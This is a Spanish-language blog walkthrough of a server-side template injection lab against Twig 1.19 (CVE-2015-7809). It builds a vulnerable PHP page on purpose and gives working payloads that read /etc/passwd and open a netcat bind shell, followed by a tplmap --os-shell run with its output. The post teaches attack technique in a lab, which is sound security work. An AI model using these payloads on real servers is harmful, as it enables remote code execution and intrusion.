Esta pagina se ve mejor con JavaScript habilitado

Server side template injection

 ·  🎃 kr0m

Los ataques Server Side Template Injection aprovechan un parseo incorrecto de las variables introducidas por el usuario para ejecutar código en la parte del servidor mediante directivas de templating.

Como PoC ejecutaremos código php vulnerable sobre una versión obsoleta de twig, mas concretamente Twig1.9

Para realizar nuestras pruebas instalaremos una versión antigua de twig ya que en versiones modernas twig tienen el bug fixeado, hay que tener en cuenta que se debe utilizar twig directamente si lo hacemos a través de symfony no podremos explotar el bug a pesar de tener una versión de twig vulnerable:

cd /var/www/testSSTI
composer require "twig/twig:1.19"

Programamos una pequeña web que nos devuelva el valor de la variable $name obtenida por GET:

vi index.php

<?php
require_once '/var/www/testSSTI/vendor/autoload.php';

Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$name=$_GETname;
$result= $twig->render($name);
echo "Hello $result";

La configuración del vhost será muy sencilla:

vi /etc/apache2/vhosts.d/testSSTI.conf

<VirtualHost *:80>
        ServerAdmin sys@alfaexploit.com
        DocumentRoot /var/www/testSSTI/
        ServerName www.testssti.com
        ErrorLog /var/log/apache2/testssti.error_log
        CustomLog /var/log/apache2/testssti.access_log combined
        DirectoryIndex index.php index.htm index.html

        AddHandler application/x-httpd-php .php .php5 .phtml
        AddHandler application/x-httpd-php-source .phps

        <FilesMatch ".php$">
            SetHandler "proxy:unix:///var/run/php7.2-fpm.sock|fcgi://localhost/"
        </FilesMatch>
        
        <Directory "/var/www/testSSTI/">
            Options -Indexes +FollowSymLinks
            AllowOverride All
            Require all granted
        </Directory>
</VirtualHost>

Hacemos una prueba para comprobar que el código funciona correctamente:

curl 'http://www.testssti.com/?name=kr0m'

Hello kr0m

Ahora probamos con una directiva de templating como puede ser {8*2}:

curl 'http://www.testssti.com/?name={{8*2}}'

Hello 16

Funcionó, probemos con algo mas complejo como definir un filtro callback en twig:

curl 'http://www.testssti.com/?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22cat%20/etc/passwd%22)}}'

Hello cowrie:x:1004:1004::/home/cowrie:/bin/bash

Excelente, ahora dejemos un socket a la escucha que nos ofrezca una shell:

curl 'http://www.testssti.com/?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22nc%20-l%20-p%207777%20-e%20/bin/sh%22)}}'

Conectamos al socket:

nc 192.168.192.168 7777

id
uid=81(apache) gid=81(apache) groups=81(apache)
ls
composer.json
composer.lock
index.php
vendor

Conseguido shell remota con el usuario apache ;)

Existe una herramienta llamada tplmap que nos facilitará la labor:

git clone https://github.com/epinna/tplmap.git
./tplmap.py --os-shell -u "http://www.testssti.com/?name=kr0m"

[+] Tplmap 0.5
 Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

 GET parameter: name
 Engine: Twig
 Injection: {{*}}
 Context: text
 OS: Linux
 Technique: render
 Capabilities:

 Shell command execution: ok
 Bind and reverse shell: ok
 File write: ok
 File read: ok
 Code evaluation: ok, php code

[+] Run commands on the operating system.
Linux $ id
uid=81(apache) gid=81(apache) groups=81(apache)
Linux $ ls
vendor

Aquí dejo los enlaces de cuando se fixeó el bug y del CVE en cuestión:
https://symfony.com/blog/security-release-twig-1-20-0
https://www.cvedetails.com/cve/CVE-2015-7809/

Si te ha gustado el artículo puedes invitarme a un RedBull aquí